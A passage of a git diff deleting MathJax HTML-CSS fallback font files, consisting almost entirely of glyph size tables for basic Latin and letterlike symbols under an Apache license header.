- *  distributed under the License is distributed on an "AS IS" BASIS,
- *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- *  See the License for the specific language governing permissions and
- *  limitations under the License.
- *
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({
-  "MathJax_Main": {
-    0x210F: [  // stix-/hbar - Planck's over 2pi
-      [4,6,1],[5,7,1],[6,7,0],[7,10,1],[8,11,1],[10,13,1],[11,15,1],[13,18,1],
-      [16,21,1],[19,25,1],[22,29,1],[26,34,1],[31,40,1],[37,47,1]
-    ],
-    0x2111: [  // BLACK-LETTER CAPITAL I
-      [5,6,1],[6,7,1],[7,8,1],[8,9,0],[10,11,1],[12,13,1],[14,15,1],[17,18,1],
-      [20,21,1],[23,25,1],[28,29,1],[33,34,1],[39,40,1],[46,48,1]
-    ],
-    0x2113: [  // SCRIPT SMALL L
-      [4,5,0],[4,7,1],[4,8,1],[5,10,1],[6,11,1],[7,13,1],[8,15,1],[10,18,1],
-      [12,21,1],[14,25,1],[16,29,1],[19,34,1],[23,41,2],[27,49,2]
-    ],
-    0x2118: [  // SCRIPT CAPITAL P
-      [5,5,2],[5,6,2],[6,7,2],[8,9,3],[9,10,3],[11,12,4],[13,13,4],[15,16,5],
-      [18,19,6],[21,23,8],[25,27,9],[29,32,11],[35,37,12],[41,45,15]
-    ],
-    0x211C: [  // BLACK-LETTER CAPITAL R
-      [6,5,0],[6,6,0],[7,8,0],[9,9,0],[11,11,1],[13,13,1],[15,16,1],[17,18,1],
-      [21,22,1],[24,25,1],[29,30,1],[34,35,1],[40,41,1],[48,50,2]
-    ],
-    0x2135: [  // ALEF SYMBOL
-      [4,5,0],[5,6,0],[6,7,0],[7,9,0],[8,10,0],[10,12,0],[11,14,0],[13,17,0],
-      [16,20,0],[19,23,0],[22,28,0],[26,33,0],[31,39,0],[37,46,0]
-    ]
-  }
-});
-
-MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/Main/Regular"+
-                          MathJax.OutputJax["HTML-CSS"].imgPacked+"/LetterlikeSymbols.js");
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/unpacked/Main.js b/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/unpacked/Main.js
deleted file mode 100644
index 335dae59..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/unpacked/Main.js
+++ /dev/null
@@ -1,1081 +0,0 @@
-/*************************************************************
- *
- *  MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/Main.js
- *  
- *  Defines the image size data needed for the HTML-CSS OutputJax
- *  to display mathematics using fallback images when the fonts
- *  are not availble to the client browser.
- *
- *  ---------------------------------------------------------------------
- *
- *  Copyright (c) 2009-2010 Design Science, Inc.
- *
- *  Licensed under the Apache License, Version 2.0 (the "License");
- *  you may not use this file except in compliance with the License.
- *  You may obtain a copy of the
- *
- *     http://www.apache.org/licenses/LICENSE-2.0
- *
- *  Unless required by applicable law or agreed to in writing, software
- *  distributed under the License is distributed on an "AS IS" BASIS,
- *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- *  See the License for the specific language governing permissions and
- *  limitations under the License.
- *
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({
-  "MathJax_Main": {
-    0x20: [  // SPACE
-      [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],
-      [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0]
-    ],
-    0x21: [  // EXCLAMATION MARK
-      [2,5,0],[2,6,0],[2,8,0],[3,8,0],[3,9,0],[4,12,0],[4,14,0],[5,18,0],
-      [6,21,0],[7,24,0],[8,29,0],[10,34,0],[11,40,0],[14,48,0]
-    ],
-    0x22: [  // QUOTATION MARK
-      [3,3,-2],[4,3,-3],[4,4,-4],[5,4,-4],[6,5,-4],[7,6,-6],[8,7,-7],[9,8,-9],
-      [11,10,-10],[13,11,-12],[15,13,-15],[18,15,-18],[21,18,-21],[25,22,-25]
-    ],
-    0x23: [  // NUMBER SIGN
-      [6,6,1],[7,8,2],[8,10,2],[10,10,2],[11,12,3],[13,16,4],[16,18,4],[19,22,5],
-      [22,26,6],[26,30,7],[31,35,8],[37,42,9],[43,50,11],[52,60,13]
-    ],
-    0x24: [  // DOLLAR SIGN
-      [4,6,1],[4,8,1],[5,10,1],[6,9,1],[7,11,1],[8,15,1],[9,17,1],[11,20,1],
-      [13,24,2],[15,27,2],[18,33,2],[21,38,2],[25,45,3],[30,54,3]
-    ],
-    0x25: [  // PERCENT SIGN
-      [6,6,1],[7,8,1],[8,10,1],[10,10,1],[11,11,1],[13,15,1],[16,16,1],[19,20,1],
-      [22,24,2],[26,29,3],[31,33,3],[37,38,3],[43,46,3],[52,54,4]
-    ],
-    0x26: [  // AMPERSAND
-      [6,5,0],[7,6,0],[8,8,0],[9,8,0],[11,9,0],[13,12,0],[15,14,0],[17,19,1],
-      [21,22,1],[24,25,1],[29,30,0],[34,35,2],[41,41,1],[48,49,1]
-    ],
-    0x27: [  // APOSTROPHE
-      [2,3,-2],[2,3,-3],[3,4,-4],[3,4,-4],[3,5,-4],[4,6,-6],[5,7,-7],[5,8,-9],
-      [6,10,-10],[7,11,-12],[9,13,-15],[10,15,-18],[12,18,-21],[14,22,-25]
-    ],
-    0x28: [  // LEFT PARENTHESIS
-      [3,7,2],[3,9,2],[4,12,3],[4,12,3],[5,14,3],[6,18,4],[7,21,5],[8,25,6],
-      [10,29,7],[11,34,8],[13,41,10],[16,47,12],[19,56,14],[22,67,17]
-    ],
-    0x29: [  // RIGHT PARENTHESIS
-      [3,7,2],[3,9,2],[3,12,3],[4,12,3],[5,14,3],[5,18,4],[6,21,5],[7,25,6],
-      [9,29,7],[10,34,8],[12,41,10],[14,47,12],[17,56,14],[20,67,17]
-    ],
-    0x2A: [  // ASTERISK
-      [3,3,-3],[4,4,-3],[5,5,-4],[6,5,-4],[6,6,-4],[8,8,-6],[9,9,-7],[10,11,-8],
-      [12,13,-9],[15,15,-11],[17,18,-13],[20,21,-15],[24,25,-18],[29,29,-21]
-    ],
-    0x2B: [  // PLUS SIGN
-      [5,5,1],[6,6,1],[8,8,1],[9,8,1],[10,9,1],[12,12,1],[14,14,2],[17,17,2],
-      [20,20,2],[24,23,3],[28,27,3],[34,32,4],[40,38,5],[48,45,5]
-    ],
-    0x2C: [  // COMMA
-      [2,2,1],[2,4,2],[3,4,2],[3,4,2],[3,5,3],[4,7,4],[5,7,4],[5,8,5],
-      [6,10,6],[7,12,7],[9,13,8],[10,15,9],[12,18,11],[14,22,13]
-    ],
-    0x2D: [  // HYPHEN-MINUS
-      [2,1,-1],[3,1,-1],[3,1,-2],[4,1,-2],[4,1,-2],[5,3,-2],[6,3,-3],[7,2,-4],
-      [8,3,-5],[10,3,-6],[11,3,-7],[13,4,-8],[16,5,-10],[19,5,-12]
-    ],
-    0x2E: [  // FULL STOP
-      [2,1,0],[2,2,0],[2,2,0],[3,2,0],[3,2,0],[4,3,0],[4,3,0],[5,3,0],
-      [6,4,0],[7,5,0],[8,5,0],[10,6,0],[11,7,0],[14,9,0]
-    ],
-    0x2F: [  // SOLIDUS
-      [4,7,2],[4,9,2],[5,11,3],[6,11,3],[7,14,3],[8,18,4],[9,20,5],[11,25,6],
-      [13,29,7],[15,34,8],[18,40,10],[21,47,12],[25,56,14],[30,67,17]
-    ],
-    0x30: [  // DIGIT ZERO
-      [4,5,0],[4,6,0],[5,8,0],[6,8,0],[7,9,0],[8,12,0],[9,14,0],[11,18,1],
-      [13,21,1],[16,25,1],[18,28,0],[22,32,1],[26,39,1],[31,46,1]
-    ],
-    0x31: [  // DIGIT ONE
-      [3,5,0],[4,6,0],[5,8,0],[6,8,0],[6,9,0],[8,12,0],[9,14,0],[10,17,0],
-      [12,20,0],[15,23,0],[17,27,0],[20,31,0],[24,37,0],[29,45,0]
-    ],
-    0x32: [  // DIGIT TWO
-      [4,5,0],[4,6,0],[5,8,0],[6,8,0],[7,9,0],[8,12,0],[9,14,0],[11,17,0],
-      [13,20,0],[15,23,0],[18,27,0],[21,32,0],[25,37,0],[30,45,0]
-    ],
-    0x33: [  // DIGIT THREE
-      [4,5,0],[4,6,0],[5,8,0],[6,8,0],[7,9,0],[8,12,0],[9,14,0],[11,18,1],
-      [13,21,1],[15,24,1],[18,28,0],[22,32,0],[26,39,0],[30,46,0]
-    ],
-    0x34: [  // DIGIT FOUR
-      [4,5,0],[4,6,0],[5,8,0],[6,8,0],[7,9,0],[8,12,0],[10,14,0],[11,17,0],
-      [14,20,0],[16,23,0],[19,27,0],[22,32,0],[27,38,0],[31,46,0]
-    ],
-    0x35: [  // DIGIT FIVE
-      [4,5,0],[4,6,0],[5,8,0],[6,8,0],[7,10,0],[8,12,0],[9,14,0],[11,18,1],
-      [13,21,1],[15,24,1],[18,28,1],[21,32,1],[25,39,1],[30,47,2]
-    ],
-    0x36: [  // DIGIT SIX
-      [4,5,0],[4,6,0],[5,8,0],[6,8,0],[7,9,0],[8,12,0],[9,14,0],[11,18,1],
-      [13,21,1],[15,24,1],[18,28,0],[22,33,2],[26,39,1],[30,46,1]
-    ],
-    0x37: [  // DIGIT SEVEN
-      [4,5,0],[5,6,0],[5,8,0],[6,8,0],[7,10,0],[9,12,0],[10,14,0],[12,18,1],
-      [14,21,1],[16,24,1],[19,27,0],[23,33,1],[27,39,1],[32,47,1]
-    ],
-    0x38: [  // DIGIT EIGHT
-      [4,5,0],[4,6,0],[5,8,0],[6,8,0],[7,9,0],[8,12,0],[9,14,0],[11,18,1],
-      [13,21,1],[16,24,1],[18,28,0],[22,32,1],[26,39,1],[31,46,1]
-    ],
-    0x39: [  // DIGIT NINE
-      [4,5,0],[4,6,0],[5,8,0],[6,8,0],[7,9,0],[8,12,0],[9,14,0],[11,18,1],
-      [13,20,1],[16,23,1],[18,28,0],[22,32,1],[26,38,1],[31,46,1]
-    ],
-    0x3A: [  // COLON
-      [2,3,0],[2,4,0],[2,5,0],[3,5,0],[3,6,0],[4,8,0],[4,9,0],[5,11,0],
-      [6,13,0],[7,14,0],[8,17,0],[10,20,0],[11,24,0],[14,29,0]
-    ],
-    0x3B: [  // SEMICOLON
-      [2,4,1],[2,6,2],[2,7,2],[3,7,2],[3,9,3],[4,12,4],[4,13,4],[5,16,5],
-      [6,19,6],[7,21,7],[8,25,8],[10,29,9],[12,35,11],[14,42,13]
-    ],
-    0x3C: [  // LESS-THAN SIGN
-      [5,4,0],[6,6,0],[7,7,0],[9,7,0],[10,8,0],[12,11,0],[14,12,0],[17,15,1],
-      [20,17,1],[23,20,1],[28,24,2],[33,28,2],[39,33,2],[46,39,3]
-    ],
-    0x3D: [  // EQUALS SIGN
-      [5,2,-1],[6,3,-1],[8,3,-1],[9,3,-1],[10,4,-2],[12,4,-2],[15,5,-3],[17,6,-3],
-      [20,8,-3],[24,10,-4],[29,10,-5],[34,11,-6],[40,13,-7],[48,16,-9]
-    ],
-    0x3E: [  // GREATER-THAN SIGN
-      [5,4,0],[6,6,0],[7,7,0],[9,7,0],[10,8,1],[12,11,1],[14,12,1],[17,15,1],
-      [20,17,1],[23,20,1],[28,24,2],[33,28,2],[39,33,2],[46,39,3]
-    ],
-    0x3F: [  // QUESTION MARK
-      [3,5,0],[4,6,0],[5,8,0],[5,8,0],[6,9,0],[7,12,0],[9,14,0],[10,18,0],
-      [12,21,0],[14,24,0],[17,29,0],[20,33,0],[23,40,0],[28,47,0]
-    ],
-    0x40: [  // COMMERCIAL AT
-      [5,5,0],[6,6,0],[8,8,0],[9,8,0],[10,9,0],[12,12,0],[15,14,0],[17,18,0],
-      [20,21,0],[24,24,0],[29,30,0],[34,34,0],[40,40,0],[48,48,0]
-    ],
-    0x41: [  // LATIN CAPITAL LETTER A
-      [5,5,0],[6,6,0],[8,8,0],[9,8,0],[10,9,0],[12,12,0],[14,14,0],[17,18,0],
-      [20,21,0],[24,24,0],[29,29,0],[34,34,0],[40,40,0],[48,48,0]
-    ],
-    0x42: [  // LATIN CAPITAL LETTER B
-      [5,5,0],[6,6,0],[7,8,0],[8,8,0],[9,9,0],[11,12,0],[13,14,0],[16,17,0],
-      [18,20,0],[22,23,0],[26,27,0],[31,32,0],[36,38,0],[43,46,0]
-    ],
-    0x43: [  // LATIN CAPITAL LETTER C
-      [5,5,0],[6,6,0],[7,8,0],[8,8,0],[10,9,0],[12,12,0],[13,14,0],[16,19,1],
-      [19,22,1],[22,25,1],[27,29,0],[31,34,1],[37,41,1],[44,49,1]
-    ],
-    0x44: [  // LATIN CAPITAL LETTER D
-      [5,5,0],[6,6,0],[7,8,0],[9,8,0],[10,9,0],[12,12,0],[14,14,0],[17,17,0],
-      [20,20,0],[24,23,0],[28,28,0],[33,32,0],[40,38,0],[47,46,0]
-    ],
-    0x45: [  // LATIN CAPITAL LETTER E
-      [5,5,0],[6,6,0],[7,8,0],[8,8,0],[9,9,0],[11,12,0],[13,14,0],[16,17,0],
-      [18,20,0],[22,23,0],[26,27,0],[31,32,0],[36,38,0],[43,46,0]
-    ],
-    0x46: [  // LATIN CAPITAL LETTER F
-      [5,5,0],[6,6,0],[6,8,0],[8,8,0],[9,9,0],[11,12,0],[12,14,0],[15,17,0],
-      [17,20,0],[20,23,0],[24,27,0],[29,32,0],[34,38,0],[40,46,0]
-    ],
-    0x47: [  // LATIN CAPITAL LETTER G
-      [6,5,0],[7,6,0],[8,8,0],[9,8,0],[11,9,0],[13,12,0],[15,14,0],[17,19,1],
-      [21,22,1],[25,25,1],[29,29,0],[34,35,2],[41,42,2],[49,49,2]
-    ],
-    0x48: [  // LATIN CAPITAL LETTER H
-      [5,5,0],[6,6,0],[8,8,0],[9,8,0],[11,9,0],[13,12,0],[15,14,0],[17,17,0],
-      [21,20,0],[24,23,0],[29,27,0],[34,32,0],[41,38,0],[48,46,0]
-    ],
-    0x49: [  // LATIN CAPITAL LETTER I
-      [3,5,0],[3,6,0],[4,8,0],[4,8,0],[5,9,0],[6,12,0],[7,14,0],[8,17,0],
-      [10,20,0],[12,23,0],[14,27,0],[16,32,0],[19,38,0],[23,46,0]
-    ],
-    0x4A: [  // LATIN CAPITAL LETTER J
-      [4,5,0],[4,6,0],[5,8,0],[6,8,0],[7,9,0],[8,12,0],[10,14,0],[11,18,1],
-      [13,21,1],[16,24,1],[19,27,0],[22,32,0],[26,39,1],[31,47,1]
-    ],
-    0x4B: [  // LATIN CAPITAL LETTER K
-      [6,5,0],[7,6,0],[8,8,0],[9,8,0],[11,9,0],[13,12,0],[15,14,0],[18,17,0],
-      [21,20,0],[25,23,0],[29,27,0],[35,32,0],[41,38,0],[49,46,0]
-    ],
-    0x4C: [  // LATIN CAPITAL LETTER L
-      [5,5,0],[5,6,0],[6,8,0],[7,8,0],[9,9,0],[10,12,0],[12,14,0],[14,17,0],
-      [17,20,0],[20,23,0],[23,27,0],[28,32,0],[33,38,0],[39,46,0]
-    ],
-    0x4D: [  // LATIN CAPITAL LETTER M
-      [7,5,0],[8,6,0],[9,8,0],[11,8,0],[13,9,0],[15,12,0],[18,14,0],[21,17,0],
-      [25,20,0],[30,23,0],[35,28,0],[42,32,0],[50,38,0],[59,46,0]
-    ],
-    0x4E: [  // LATIN CAPITAL LETTER N
-      [5,5,0],[6,6,0],[8,8,0],[9,8,0],[11,9,0],[13,12,0],[15,14,0],[17,17,0],
-      [21,20,0],[24,23,0],[29,27,0],[34,32,0],[41,38,0],[48,46,0]
-    ],
-    0x4F: [  // LATIN CAPITAL LETTER O
-      [5,5,0],[6,6,0],[8,8,0],[9,8,0],[10,9,0],[12,12,0],[15,14,0],[17,19,1],
-      [20,22,1],[24,25,1],[29,29,0],[34,34,1],[40,41,1],[48,49,1]
-    ],
-    0x50: [  // LATIN CAPITAL LETTER P
-      [5,5,0],[6,6,0],[7,8,0],[8,8,0],[9,9,0],[11,12,0],[13,14,0],[15,17,0],
-      [18,20,0],[21,23,0],[25,27,0],[29,32,0],[35,38,0],[42,46,0]
-    ],
-    0x51: [  // LATIN CAPITAL LETTER Q
-      [6,6,1],[7,8,2],[8,10,2],[9,10,2],[11,12,3],[13,16,4],[15,18,4],[17,23,5],
-      [21,27,6],[24,31,7],[29,36,8],[34,42,9],[41,51,11],[48,60,13]
-    ],
-    0x52: [  // LATIN CAPITAL LETTER R
-      [6,5,0],[7,6,0],[8,8,0],[9,8,0],[11,9,0],[13,12,0],[15,14,0],[17,18,1],
-      [21,21,1],[25,24,1],[29,27,0],[34,32,0],[41,39,1],[49,48,2]
-    ],
-    0x53: [  // LATIN CAPITAL LETTER S
-      [4,5,0],[5,6,0],[5,8,0],[6,8,0],[7,9,0],[9,12,0],[10,14,0],[12,19,1],
-      [14,22,1],[17,25,1],[20,29,0],[24,34,1],[28,41,1],[33,49,1]
-    ],
-    0x54: [  // LATIN CAPITAL LETTER T
-      [5,5,0],[6,6,0],[7,8,0],[8,8,0],[10,9,0],[12,12,0],[14,14,0],[16,17,0],
-      [19,20,0],[23,23,0],[27,27,0],[32,32,0],[38,38,0],[45,46,0]
-    ],
-    0x55: [  // LATIN CAPITAL LETTER U
-      [5,5,0],[6,6,0],[8,8,0],[9,8,0],[11,9,0],[13,12,0],[15,14,0],[17,18,1],
-      [21,21,1],[24,24,1],[29,27,0],[34,33,1],[41,40,2],[48,48,2]
-    ],
-    0x56: [  // LATIN CAPITAL LETTER V
-      [5,5,0],[6,6,0],[8,8,0],[9,8,0],[11,9,0],[13,12,0],[15,14,0],[17,18,1],
-      [21,21,1],[24,24,1],[29,27,0],[34,34,2],[41,40,2],[48,48,2]
-    ],
-    0x57: [  // LATIN CAPITAL LETTER W
-      [7,5,0],[9,6,0],[10,8,0],[12,8,0],[14,9,0],[17,12,0],[20,14,0],[24,18,1],
-      [28,21,1],[34,24,1],[40,27,0],[47,34,2],[56,40,2],[67,48,2]
-    ],
-    0x58: [  // LATIN CAPITAL LETTER X
-      [5,5,0],[7,6,0],[8,8,0],[9,8,0],[11,9,0],[13,12,0],[15,14,0],[17,17,0],
-      [21,20,0],[24,23,0],[29,27,0],[34,32,0],[41,38,0],[48,46,0]
-    ],
-    0x59: [  // LATIN CAPITAL LETTER Y
-      [6,6,1],[7,7,1],[8,9,1],[9,9,1],[11,10,1],[13,13,1],[15,15,1],[18,18,1],
-      [21,21,1],[25,24,1],[29,28,1],[35,33,1],[41,39,1],[49,47,1]
-    ],
-    0x5A: [  // LATIN CAPITAL LETTER Z
-      [4,6,1],[5,7,1],[6,9,1],[7,9,1],[8,10,1],[10,13,1],[11,15,1],[13,18,1],
-      [16,21,1],[19,24,1],[22,27,0],[26,32,0],[31,38,0],[37,46,0]
-    ],
-    0x5B: [  // LEFT SQUARE BRACKET
-      [2,7,2],[3,10,3],[3,12,3],[3,12,3],[4,14,4],[5,18,5],[5,20,5],[6,25,6],
-      [8,30,8],[9,35,9],[10,40,10],[12,47,12],[15,56,14],[17,67,17]
-    ],
-    0x5C: [  // REVERSE SOLIDUS
-      [4,7,2],[4,9,2],[5,11,3],[6,11,3],[7,14,3],[8,18,4],[9,20,5],[11,25,6],
-      [13,29,7],[15,34,8],[18,40,10],[21,47,12],[25,56,14],[30,67,17]
-    ],
-    0x5D: [  // RIGHT SQUARE BRACKET
-      [2,7,2],[2,10,3],[2,12,3],[2,12,3],[3,14,4],[3,18,5],[4,20,5],[4,25,6],
-      [5,30,8],[6,35,9],[7,40,10],[8,47,12],[9,56,14],[11,67,17]
-    ],
-    0x5E: [  // CIRCUMFLEX ACCENT
-      [3,2,-3],[4,3,-4],[4,3,-5],[5,3,-5],[6,3,-7],[7,4,-9],[8,4,-10],[9,5,-13],
-      [11,6,-15],[13,7,-17],[16,7,-21],[18,9,-24],[22,10,-29],[26,12,-35]
-    ],
-    0x5F: [  // LOW LINE
-      [4,2,1],[5,2,1],[5,2,1],[6,2,1],[7,2,1],[9,2,1],[10,2,1],[12,3,2],
-      [14,4,3],[17,4,3],[20,4,3],[24,4,3],[28,4,3],[33,5,4]
-    ],
-    0x60: [  // GRAVE ACCENT
-      [3,2,-3],[3,2,-4],[3,3,-5],[4,3,-5],[5,3,-6],[5,4,-8],[6,4,-10],[7,6,-12],
-      [9,7,-14],[10,7,-17],[12,8,-20],[14,10,-23],[17,11,-28],[20,13,-34]
-    ],
-    0x61: [  // LATIN SMALL LETTER A
-      [4,3,0],[5,4,0],[5,5,0],[6,5,0],[7,6,0],[9,8,0],[10,9,0],[12,11,0],
-      [14,13,0],[17,15,0],[20,18,0],[23,21,0],[28,26,0],[33,31,0]
-    ],
-    0x62: [  // LATIN SMALL LETTER B
-      [4,5,0],[5,6,0],[6,8,0],[7,8,0],[8,9,0],[9,12,0],[11,14,0],[13,17,0],
-      [15,20,0],[18,23,0],[21,29,0],[25,33,0],[29,40,0],[35,47,0]
-    ],
-    0x63: [  // LATIN SMALL LETTER C
-      [3,3,0],[4,4,0],[5,5,0],[5,5,0],[6,6,0],[7,8,0],[9,9,0],[10,11,0],
-      [12,13,0],[14,15,0],[17,18,0],[20,21,0],[23,26,0],[28,31,0]
-    ],
-    0x64: [  // LATIN SMALL LETTER D
-      [4,5,0],[5,6,0],[6,8,0],[7,8,0],[8,9,0],[9,12,0],[11,14,0],[13,17,0],
-      [15,20,0],[18,23,0],[21,29,0],[25,33,0],[30,40,0],[36,47,0]
-    ],
-    0x65: [  // LATIN SMALL LETTER E
-      [3,3,0],[4,4,0],[5,5,0],[5,5,0],[6,6,0],[7,8,0],[9,9,0],[10,11,0],
-      [12,13,0],[14,15,0],[17,18,0],[20,21,0],[23,26,0],[28,31,0]
-    ],
-    0x66: [  // LATIN SMALL LETTER F
-      [3,5,0],[4,6,0],[4,8,0],[5,8,0],[6,9,0],[7,12,0],[8,14,0],[9,18,0],
-      [11,21,0],[13,24,0],[15,29,0],[18,33,0],[21,40,0],[25,47,0]
-    ],
-    0x67: [  // LATIN SMALL LETTER G
-      [4,4,1],[5,6,2],[5,7,2],[6,7,2],[7,9,3],[9,12,4],[10,13,4],[12,16,5],
-      [14,19,6],[16,22,7],[19,26,8],[23,30,9],[27,37,11],[32,44,13]
-    ],
-    0x68: [  // LATIN SMALL LETTER H
-      [4,5,0],[5,6,0],[6,8,0],[7,8,0],[8,9,0],[10,12,0],[11,14,0],[13,17,0],
-      [16,20,0],[18,23,0],[22,27,0],[26,32,0],[31,38,0],[36,46,0]
-    ],
-    0x69: [  // LATIN SMALL LETTER I
-      [2,5,0],[3,6,0],[3,8,0],[3,8,0],[4,9,0],[5,12,0],[5,14,0],[6,17,0],
-      [8,20,0],[9,23,0],[10,27,0],[12,32,0],[15,37,0],[17,45,0]
-    ],
-    0x6A: [  // LATIN SMALL LETTER J
-      [3,6,1],[3,8,2],[4,10,2],[4,10,2],[5,12,3],[5,16,4],[7,18,4],[8,22,5],
-      [9,26,6],[10,30,7],[12,35,8],[14,41,9],[17,49,11],[19,59,13]
-    ],
-    0x6B: [  // LATIN SMALL LETTER K
-      [4,5,0],[5,6,0],[6,8,0],[6,8,0],[8,9,0],[9,12,0],[10,14,0],[12,18,0],
-      [15,21,0],[17,24,0],[20,28,0],[24,33,0],[29,39,0],[34,47,0]
-    ],
-    0x6C: [  // LATIN SMALL LETTER L
-      [2,5,0],[3,6,0],[3,8,0],[4,8,0],[4,9,0],[5,12,0],[6,14,0],[7,17,0],
-      [8,20,0],[9,23,0],[11,28,0],[13,33,0],[15,39,0],[18,47,0]
-    ],
-    0x6D: [  // LATIN SMALL LETTER M
-      [6,3,0],[7,4,0],[9,5,0],[10,5,0],[12,6,0],[14,8,0],[16,9,0],[20,11,0],
-      [23,13,0],[27,14,0],[33,17,0],[39,20,0],[46,25,0],[54,30,0]
-    ],
-    0x6E: [  // LATIN SMALL LETTER N
-      [4,3,0],[5,4,0],[6,5,0],[7,5,0],[8,6,0],[10,8,0],[11,9,0],[13,11,0],
-      [16,13,0],[18,14,0],[22,17,0],[26,20,0],[31,24,0],[36,30,0]
-    ],
-    0x6F: [  // LATIN SMALL LETTER O
-      [4,3,0],[4,4,0],[5,5,0],[6,5,0],[7,6,0],[8,8,0],[10,9,0],[11,11,0],
-      [14,13,0],[16,15,0],[19,18,0],[22,21,0],[27,26,0],[31,31,0]
-    ],
-    0x70: [  // LATIN SMALL LETTER P
-      [4,4,1],[5,6,2],[6,7,2],[7,7,2],[8,9,3],[9,12,4],[11,13,4],[13,16,5],
-      [15,19,6],[18,21,7],[21,25,8],[25,29,9],[29,36,11],[35,43,13]
-    ],
-    0x71: [  // LATIN SMALL LETTER Q
-      [4,4,1],[5,6,2],[6,7,2],[7,7,2],[8,9,3],[9,12,4],[11,13,4],[13,16,5],
-      [15,19,6],[18,22,7],[21,26,8],[25,30,9],[30,36,11],[36,43,13]
-    ],
-    0x72: [  // LATIN SMALL LETTER R
-      [3,3,0],[4,5,1],[4,6,1],[5,6,1],[6,7,1],[7,9,1],[8,10,1],[9,12,1],
-      [11,14,1],[12,15,1],[15,18,1],[17,21,1],[21,26,1],[24,30,1]
-    ],
-    0x73: [  // LATIN SMALL LETTER S
-      [3,3,0],[3,4,0],[4,5,0],[5,5,0],[5,6,0],[6,8,0],[7,9,0],[9,11,0],
-      [10,13,0],[12,15,0],[14,18,0],[17,21,0],[20,26,0],[24,31,0]
-    ],
-    0x74: [  // LATIN SMALL LETTER T
-      [3,4,0],[3,6,0],[4,7,0],[4,7,0],[5,9,0],[6,11,0],[7,13,0],[8,16,0],
-      [10,18,0],[11,21,0],[13,25,0],[16,29,0],[19,35,0],[22,42,0]
-    ],
-    0x75: [  // LATIN SMALL LETTER U
-      [4,3,0],[5,4,0],[6,5,0],[7,5,0],[8,6,0],[9,8,0],[11,9,0],[13,11,0],
-      [15,13,0],[18,15,0],[22,18,0],[26,21,0],[30,26,0],[36,31,1]
-    ],
-    0x76: [  // LATIN SMALL LETTER V
-      [4,3,0],[5,4,0],[5,5,0],[6,5,0],[8,6,0],[9,8,0],[10,9,0],[12,11,0],
-      [15,13,0],[17,14,0],[20,17,0],[24,20,0],[29,25,0],[34,30,0]
-    ],
-    0x77: [  // LATIN SMALL LETTER W
-      [5,3,0],[6,4,0],[7,5,0],[9,5,0],[10,6,0],[12,8,0],[14,9,0],[17,11,0],
-      [20,13,0],[23,14,0],[28,17,0],[33,20,0],[39,25,0],[46,30,0]
-    ],
-    0x78: [  // LATIN SMALL LETTER X
-      [4,4,1],[5,5,1],[6,6,1],[7,6,1],[8,7,1],[9,9,1],[11,10,1],[12,12,1],
-      [15,14,1],[17,15,1],[21,18,1],[24,21,1],[29,25,1],[34,30,1]
-    ],
-    0x79: [  // LATIN SMALL LETTER Y
-      [4,4,1],[5,6,2],[5,7,2],[6,7,2],[8,9,3],[9,12,4],[10,13,4],[12,16,5],
-      [15,19,6],[17,21,7],[20,25,8],[24,29,9],[29,36,11],[34,43,13]
-    ],
-    0x7A: [  // LATIN SMALL LETTER Z
-      [3,3,0],[4,4,0],[4,5,0],[5,5,0],[6,6,0],[7,8,0],[8,9,0],[10,11,0],
-      [12,13,0],[14,14,0],[16,17,0],[19,20,0],[23,25,0],[27,29,0]
-    ],
-    0x7B: [  // LEFT CURLY BRACKET
-      [3,7,2],[4,10,3],[5,12,3],[6,12,3],[6,14,4],[8,18,5],[9,20,5],[11,25,6],
-      [12,30,8],[15,35,9],[17,41,11],[21,47,12],[24,56,14],[29,67,17]
-    ],
-    0x7C: [  // VERTICAL LINE
-      [2,7,2],[2,9,2],[2,12,3],[2,12,3],[3,14,3],[3,18,4],[4,21,5],[4,25,6],
-      [5,29,7],[6,34,8],[7,41,10],[8,47,12],[9,56,14],[11,67,17]
-    ],
-    0x7D: [  // RIGHT CURLY BRACKET
-      [3,7,2],[4,10,3],[5,12,3],[6,12,3],[6,14,4],[8,18,5],[9,20,5],[11,25,6],
-      [12,30,8],[15,34,9],[17,42,11],[21,47,12],[24,56,14],[29,67,17]
-    ],
-    0x7E: [  // TILDE
-      [3,1,-1],[4,1,-2],[5,1,-2],[5,1,-2],[6,1,-3],[7,3,-3],[9,4,-4],[10,3,-5],
-      [12,3,-6],[14,4,-7],[17,4,-9],[20,5,-10],[23,6,-12],[28,7,-14]
-    ],
-    0xA0: [  // NO-BREAK SPACE
-      [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],
-      [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0]
-    ],
-    0xA8: [  // DIAERESIS
-      [3,1,-4],[4,2,-4],[4,2,-6],[5,2,-6],[6,2,-7],[7,3,-9],[8,3,-11],[10,3,-14],
-      [12,4,-16],[14,4,-19],[16,5,-22],[19,6,-26],[23,7,-31],[27,8,-37]
-    ],
-    0xAC: [  // NOT SIGN
-      [5,3,0],[6,3,0],[6,4,0],[8,4,0],[9,4,-1],[11,5,-2],[12,6,-1],[15,7,-2],
-      [17,8,-2],[21,10,-3],[24,11,-4],[29,13,-4],[34,16,-5],[41,18,-6]
-    ],
-    0xAF: [  // MACRON
-      [3,1,-3],[4,1,-5],[5,1,-6],[6,1,-6],[6,1,-7],[8,1,-10],[9,1,-11],[10,2,-13],
-      [12,3,-15],[15,2,-18],[17,2,-22],[20,3,-26],[24,3,-30],[29,4,-36]
-    ],
-    0xB0: [  // DEGREE SIGN
-      [3,2,-3],[3,2,-4],[4,2,-6],[5,2,-6],[5,3,-6],[6,3,-9],[7,4,-10],[9,5,-13],
-      [10,6,-15],[12,7,-17],[14,8,-22],[17,8,-25],[20,10,-30],[24,12,-36]
-    ],
-    0xB1: [  // PLUS-MINUS SIGN
